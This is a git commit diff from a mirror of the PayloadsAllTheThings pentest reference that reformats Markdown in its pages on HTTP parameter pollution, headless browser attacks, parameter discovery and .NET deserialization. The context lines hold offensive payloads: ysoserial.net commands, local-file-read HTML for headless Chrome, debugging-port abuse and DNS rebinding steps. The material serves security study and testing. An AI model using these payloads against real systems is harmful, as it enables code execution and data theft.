mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2025-12-06 17:02:53 +01:00
Markdown Linting - Parameters, Browsers, Deserialization Randomness
This commit is contained in:
parent
e03cdfff14
commit
d174593b4f
13 changed files with 187 additions and 262 deletions
|
|
@ -10,13 +10,11 @@
|
||||||
* [Parameter Pollution Payloads](#parameter-pollution-payloads)
|
* [Parameter Pollution Payloads](#parameter-pollution-payloads)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
* **Burp Suite**: Manually modify requests to test duplicate parameters.
|
* **Burp Suite**: Manually modify requests to test duplicate parameters.
|
||||||
* **OWASP ZAP**: Intercept and manipulate HTTP parameters.
|
* **OWASP ZAP**: Intercept and manipulate HTTP parameters.
|
||||||
|
|
||||||
|
|
||||||
## Methodology
|
## Methodology
|
||||||
|
|
||||||
HTTP Parameter Pollution (HPP) is a web security vulnerability where an attacker injects multiple instances of the same HTTP parameter into a request. The server's behavior when processing duplicate parameters can vary, potentially leading to unexpected or exploitable behavior.
|
HTTP Parameter Pollution (HPP) is a web security vulnerability where an attacker injects multiple instances of the same HTTP parameter into a request. The server's behavior when processing duplicate parameters can vary, potentially leading to unexpected or exploitable behavior.
|
||||||
|
|
@ -26,7 +24,6 @@ HPP can target two levels:
|
||||||
* Client-Side HPP: Exploits JavaScript code running on the client (browser).
|
* Client-Side HPP: Exploits JavaScript code running on the client (browser).
|
||||||
* Server-Side HPP: Exploits how the server processes multiple parameters with the same name.
|
* Server-Side HPP: Exploits how the server processes multiple parameters with the same name.
|
||||||
|
|
||||||
|
|
||||||
**Examples**:
|
**Examples**:
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
|
|
@ -34,7 +31,6 @@ HPP can target two levels:
|
||||||
/transfer?amount=1&amount=5000
|
/transfer?amount=1&amount=5000
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### Parameter Pollution Table
|
### Parameter Pollution Table
|
||||||
|
|
||||||
When ?par1=a&par1=b
|
When ?par1=a&par1=b
|
||||||
|
|
@ -59,15 +55,16 @@ When ?par1=a&par1=b
|
||||||
| Python/Zope | All occurrences in array | ['a','b'] |
|
| Python/Zope | All occurrences in array | ['a','b'] |
|
||||||
| Ruby on Rails | Last occurrence | b |
|
| Ruby on Rails | Last occurrence | b |
|
||||||
|
|
||||||
|
|
||||||
### Parameter Pollution Payloads
|
### Parameter Pollution Payloads
|
||||||
|
|
||||||
* Duplicate Parameters:
|
* Duplicate Parameters:
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
param=value1¶m=value2
|
param=value1¶m=value2
|
||||||
```
|
```
|
||||||
|
|
||||||
* Array Injection:
|
* Array Injection:
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
param[]=value1
|
param[]=value1
|
||||||
param[]=value1¶m[]=value2
|
param[]=value1¶m[]=value2
|
||||||
|
|
@ -76,16 +73,19 @@ When ?par1=a&par1=b
|
||||||
```
|
```
|
||||||
|
|
||||||
* Encoded Injection:
|
* Encoded Injection:
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
param=value1%26other=value2
|
param=value1%26other=value2
|
||||||
```
|
```
|
||||||
|
|
||||||
* Nested Injection:
|
* Nested Injection:
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
param[key1]=value1¶m[key2]=value2
|
param[key1]=value1¶m[key2]=value2
|
||||||
```
|
```
|
||||||
|
|
||||||
* JSON Injection:
|
* JSON Injection:
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
{
|
{
|
||||||
"test": "user",
|
"test": "user",
|
||||||
|
|
@ -93,9 +93,8 @@ When ?par1=a&par1=b
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [How to Detect HTTP Parameter Pollution Attacks - Acunetix - January 9, 2024](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
|
* [How to Detect HTTP Parameter Pollution Attacks - Acunetix - January 9, 2024](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
|
||||||
- [HTTP Parameter Pollution - Itamar Verta - December 20, 2023](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
|
* [HTTP Parameter Pollution - Itamar Verta - December 20, 2023](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
|
||||||
- [HTTP Parameter Pollution in 11 minutes - PwnFunction - January 28, 2019](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)
|
* [HTTP Parameter Pollution in 11 minutes - PwnFunction - January 28, 2019](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)
|
||||||
|
|
|
||||||
|
|
@ -1,10 +1,8 @@
|
||||||
# Headless Browser
|
# Headless Browser
|
||||||
|
|
||||||
> A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.
|
> A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.
|
||||||
|
|
||||||
> Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
|
> Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Headless Commands](#headless-commands)
|
* [Headless Commands](#headless-commands)
|
||||||
|
|
@ -15,32 +13,34 @@
|
||||||
* [DNS Rebinding](#dns-rebinding)
|
* [DNS Rebinding](#dns-rebinding)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Headless Commands
|
## Headless Commands
|
||||||
|
|
||||||
Example of headless browsers commands:
|
Example of headless browsers commands:
|
||||||
|
|
||||||
* Google Chrome
|
* Google Chrome
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
|
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
|
||||||
```
|
```
|
||||||
|
|
||||||
* Mozilla Firefox
|
* Mozilla Firefox
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
firefox --screenshot https://www.google.com
|
firefox --screenshot https://www.google.com
|
||||||
```
|
```
|
||||||
|
|
||||||
* Microsoft Edge
|
* Microsoft Edge
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
|
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Local File Read
|
## Local File Read
|
||||||
|
|
||||||
Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`
|
Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`
|
||||||
|
|
||||||
* Javascript Redirect
|
* Javascript Redirect
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<body>
|
<body>
|
||||||
|
|
@ -52,6 +52,7 @@ Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site
|
||||||
```
|
```
|
||||||
|
|
||||||
* Iframe
|
* Iframe
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<body>
|
<body>
|
||||||
|
|
@ -60,7 +61,6 @@ Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Debugging Port
|
## Debugging Port
|
||||||
|
|
||||||
**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`
|
**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`
|
||||||
|
|
@ -83,6 +83,7 @@ Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site
|
||||||
* Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
|
* Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
|
||||||
* Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05)
|
* Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05)
|
||||||
* Node inspector `--inspect` works like a `--remote-debugging-port`
|
* Node inspector `--inspect` works like a `--remote-debugging-port`
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
node --inspect app.js # default port 9229
|
node --inspect app.js # default port 9229
|
||||||
node --inspect=4444 app.js # custom port 4444
|
node --inspect=4444 app.js # custom port 4444
|
||||||
|
|
@ -92,7 +93,6 @@ Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
|
> The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
|
||||||
|
|
||||||
|
|
||||||
## Network
|
## Network
|
||||||
|
|
||||||
### Port Scanning
|
### Port Scanning
|
||||||
|
|
@ -109,7 +109,6 @@ Port Scanning: Timing attack
|
||||||
* Chrome blocks by default a list of "known ports"
|
* Chrome blocks by default a list of "known ports"
|
||||||
* Chrome blocks access to local network addresses except localhost through 0.0.0.0
|
* Chrome blocks access to local network addresses except localhost through 0.0.0.0
|
||||||
|
|
||||||
|
|
||||||
### DNS Rebinding
|
### DNS Rebinding
|
||||||
|
|
||||||
* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
|
* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
|
||||||
|
|
@ -123,14 +122,12 @@ Port Scanning: Timing attack
|
||||||
5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
|
5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
|
||||||
6. From top window, inject script into iframe to exfiltrate content
|
6. From top window, inject script into iframe to exfiltrate content
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [Attacking Headless Browsers - truff - May 22, 2024](#bb-discord-replay-not-available)
|
* [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
|
||||||
- [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
|
* [Chrome DevTools Protocol - Documentation - July 3, 2017](https://chromedevtools.github.io/devtools-protocol/)
|
||||||
- [Chrome DevTools Protocol - Documentation - July 3, 2017](https://chromedevtools.github.io/devtools-protocol/)
|
* [Cookies with Chromium’s Remote Debugger Port - Justin Bui - December 17, 2020](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)
|
||||||
- [Cookies with Chromium’s Remote Debugger Port - Justin Bui - December 17, 2020](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)
|
* [Debugging Cookie Dumping Failures with Chromium’s Remote Debugger - Justin Bui - July 16, 2023](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)
|
||||||
- [Debugging Cookie Dumping Failures with Chromium’s Remote Debugger - Justin Bui - July 16, 2023](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)
|
* [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
|
||||||
- [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
|
* [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
|
||||||
- [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
|
* [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)
|
||||||
- [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)
|
|
||||||
|
|
|
||||||
|
|
@ -2,7 +2,6 @@
|
||||||
|
|
||||||
> Web applications often have hidden or undocumented parameters that are not exposed in the user interface. Fuzzing can help discover these parameters, which might be vulnerable to various attacks.
|
> Web applications often have hidden or undocumented parameters that are not exposed in the user interface. Fuzzing can help discover these parameters, which might be vulnerable to various attacks.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Tools](#tools)
|
* [Tools](#tools)
|
||||||
|
|
@ -11,7 +10,6 @@
|
||||||
* [Old Parameters](#old-parameters)
|
* [Old Parameters](#old-parameters)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) - Burp extension to identify hidden, unlinked parameters.
|
* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) - Burp extension to identify hidden, unlinked parameters.
|
||||||
|
|
@ -20,12 +18,12 @@
|
||||||
* [tomnomnom/waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch all the URLs that the Wayback Machine knows about for a domain
|
* [tomnomnom/waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch all the URLs that the Wayback Machine knows about for a domain
|
||||||
* [devanshbatham/ParamSpider](https://github.com/devanshbatham/ParamSpider) - Mining URLs from dark corners of Web Archives for bug hunting/fuzzing/further probing
|
* [devanshbatham/ParamSpider](https://github.com/devanshbatham/ParamSpider) - Mining URLs from dark corners of Web Archives for bug hunting/fuzzing/further probing
|
||||||
|
|
||||||
|
|
||||||
## Methodology
|
## Methodology
|
||||||
|
|
||||||
### Bruteforce Parameters
|
### Bruteforce Parameters
|
||||||
|
|
||||||
* Use wordlists of common parameters and send them, look for unexpected behavior from the backend.
|
* Use wordlists of common parameters and send them, look for unexpected behavior from the backend.
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
x8 -u "https://example.com/" -w <wordlist>
|
x8 -u "https://example.com/" -w <wordlist>
|
||||||
x8 -u "https://example.com/" -X POST -w <wordlist>
|
x8 -u "https://example.com/" -X POST -w <wordlist>
|
||||||
|
|
@ -33,12 +31,11 @@
|
||||||
|
|
||||||
Wordlist examples:
|
Wordlist examples:
|
||||||
|
|
||||||
- [Arjun/large.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/large.txt)
|
* [Arjun/large.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/large.txt)
|
||||||
- [Arjun/medium.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/medium.txt)
|
* [Arjun/medium.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/medium.txt)
|
||||||
- [Arjun/small.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/small.txt)
|
* [Arjun/small.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/small.txt)
|
||||||
- [samlists/sam-cc-parameters-lowercase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-lowercase-all.txt)
|
* [samlists/sam-cc-parameters-lowercase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-lowercase-all.txt)
|
||||||
- [samlists/sam-cc-parameters-mixedcase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-mixedcase-all.txt)
|
* [samlists/sam-cc-parameters-mixedcase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-mixedcase-all.txt)
|
||||||
|
|
||||||
|
|
||||||
### Old Parameters
|
### Old Parameters
|
||||||
|
|
||||||
|
|
@ -47,8 +44,7 @@ Explore all the URL from your targets to find old parameters.
|
||||||
* Browse the [Wayback Machine](http://web.archive.org/)
|
* Browse the [Wayback Machine](http://web.archive.org/)
|
||||||
* Look through the JS files to discover unused parameters
|
* Look through the JS files to discover unused parameters
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [Hacker tools: Arjun – The parameter discovery tool - Intigriti - May 17, 2021](https://blog.intigriti.com/2021/05/17/hacker-tools-arjun-the-parameter-discovery-tool/)
|
* [Hacker tools: Arjun – The parameter discovery tool - Intigriti - May 17, 2021](https://blog.intigriti.com/2021/05/17/hacker-tools-arjun-the-parameter-discovery-tool/)
|
||||||
- [Parameter Discovery: A quick guide to start - YesWeHack - April 20, 2022](http://web.archive.org/web/20220420123306/https://blog.yeswehack.com/yeswerhackers/parameter-discovery-quick-guide-to-start)
|
* [Parameter Discovery: A quick guide to start - YesWeHack - April 20, 2022](http://web.archive.org/web/20220420123306/https://blog.yeswehack.com/yeswerhackers/parameter-discovery-quick-guide-to-start)
|
||||||
|
|
|
||||||
|
|
@ -2,7 +2,6 @@
|
||||||
|
|
||||||
> .NET serialization is the process of converting an object’s state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.
|
> .NET serialization is the process of converting an object’s state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Detection](#detection)
|
* [Detection](#detection)
|
||||||
|
|
@ -17,7 +16,6 @@
|
||||||
* [POP Gadgets](#pop-gadgets)
|
* [POP Gadgets](#pop-gadgets)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Detection
|
## Detection
|
||||||
|
|
||||||
| Data | Description |
|
| Data | Description |
|
||||||
|
|
@ -28,15 +26,15 @@
|
||||||
|
|
||||||
Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
|
Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
|
* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
$ cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
|
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
|
||||||
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
|
./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
|
||||||
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
|
./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
|
||||||
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||||
```
|
```
|
||||||
|
|
||||||
## Formatters
|
## Formatters
|
||||||
|
|
@ -44,7 +42,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||||

|

|
||||||
.NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)
|
.NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)
|
||||||
|
|
||||||
|
|
||||||
### XmlSerializer
|
### XmlSerializer
|
||||||
|
|
||||||
* In C# source code, look for `XmlSerializer(typeof(<TYPE>));`.
|
* In C# source code, look for `XmlSerializer(typeof(<TYPE>));`.
|
||||||
|
|
@ -70,7 +67,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||||
</root>
|
</root>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### DataContractSerializer
|
### DataContractSerializer
|
||||||
|
|
||||||
> The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.
|
> The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.
|
||||||
|
|
@ -79,7 +75,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||||
* Payload output: **XML**
|
* Payload output: **XML**
|
||||||
* Data **Type** must be user-controlled to be exploitable
|
* Data **Type** must be user-controlled to be exploitable
|
||||||
|
|
||||||
|
|
||||||
### NetDataContractSerializer
|
### NetDataContractSerializer
|
||||||
|
|
||||||
> It extends the `System.Runtime.Serialization.XmlObjectSerializer` class and is capable of serializing any type annotated with serializable attribute as `BinaryFormatter`.
|
> It extends the `System.Runtime.Serialization.XmlObjectSerializer` class and is capable of serializing any type annotated with serializable attribute as `BinaryFormatter`.
|
||||||
|
|
@ -91,7 +86,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||||
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
|
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### LosFormatter
|
### LosFormatter
|
||||||
|
|
||||||
* Use `BinaryFormatter` internally.
|
* Use `BinaryFormatter` internally.
|
||||||
|
|
@ -100,7 +94,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||||
.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
|
.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### JSON.NET
|
### JSON.NET
|
||||||
|
|
||||||
* In C# source code, look for `JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings`.
|
* In C# source code, look for `JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings`.
|
||||||
|
|
@ -119,7 +112,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### BinaryFormatter
|
### BinaryFormatter
|
||||||
|
|
||||||
> The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.
|
> The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.
|
||||||
|
|
@ -128,12 +120,10 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||||
* Exploitation requires `[Serializable]` or `ISerializable` interface.
|
* Exploitation requires `[Serializable]` or `ISerializable` interface.
|
||||||
* Payload output: **Binary**
|
* Payload output: **Binary**
|
||||||
|
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## POP Gadgets
|
## POP Gadgets
|
||||||
|
|
||||||
These gadgets must have the following properties:
|
These gadgets must have the following properties:
|
||||||
|
|
@ -144,18 +134,21 @@ These gadgets must have the following properties:
|
||||||
|
|
||||||
You must carefully select your **gadgets** for a targeted **formatter**.
|
You must carefully select your **gadgets** for a targeted **formatter**.
|
||||||
|
|
||||||
|
|
||||||
List of popular gadgets used in common payloads.
|
List of popular gadgets used in common payloads.
|
||||||
|
|
||||||
* **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll`
|
* **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll`
|
||||||
* Use `MethodParameters` to set arbitrary parameters
|
* Use `MethodParameters` to set arbitrary parameters
|
||||||
* Use `MethodName` to call an arbitrary function
|
* Use `MethodName` to call an arbitrary function
|
||||||
* **ExpandedWrapper**
|
* **ExpandedWrapper**
|
||||||
* Specify the `object types` of the objects that are encapsulated
|
* Specify the `object types` of the objects that are encapsulated
|
||||||
|
|
||||||
```cs
|
```cs
|
||||||
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
|
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
|
||||||
```
|
```
|
||||||
|
|
||||||
* **System.Configuration.Install.AssemblyInstaller**
|
* **System.Configuration.Install.AssemblyInstaller**
|
||||||
* Execute payload with Assembly.Load
|
* Execute payload with Assembly.Load
|
||||||
|
|
||||||
```cs
|
```cs
|
||||||
// System.Configuration.Install.AssemblyInstaller
|
// System.Configuration.Install.AssemblyInstaller
|
||||||
public void set_Path(string value){
|
public void set_Path(string value){
|
||||||
|
|
@ -166,19 +159,18 @@ List of popular gadgets used in common payloads.
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - Slides - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
|
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - Slides - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
|
||||||
- [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - White Paper - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - White Paper - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||||
- [Attacking .NET Deserialization - Alvaro Muñoz - April 28, 2018](https://youtu.be/eDfGpu3iE4Q)
|
* [Attacking .NET Deserialization - Alvaro Muñoz - April 28, 2018](https://youtu.be/eDfGpu3iE4Q)
|
||||||
- [Attacking .NET Serialization - Alvaro - October 20, 2017](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
|
* [Attacking .NET Serialization - Alvaro - October 20, 2017](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
|
||||||
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - HackTricks - July 18, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
|
* [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - HackTricks - July 18, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
|
||||||
- [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
|
* [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
|
||||||
- [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - April 23, 2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
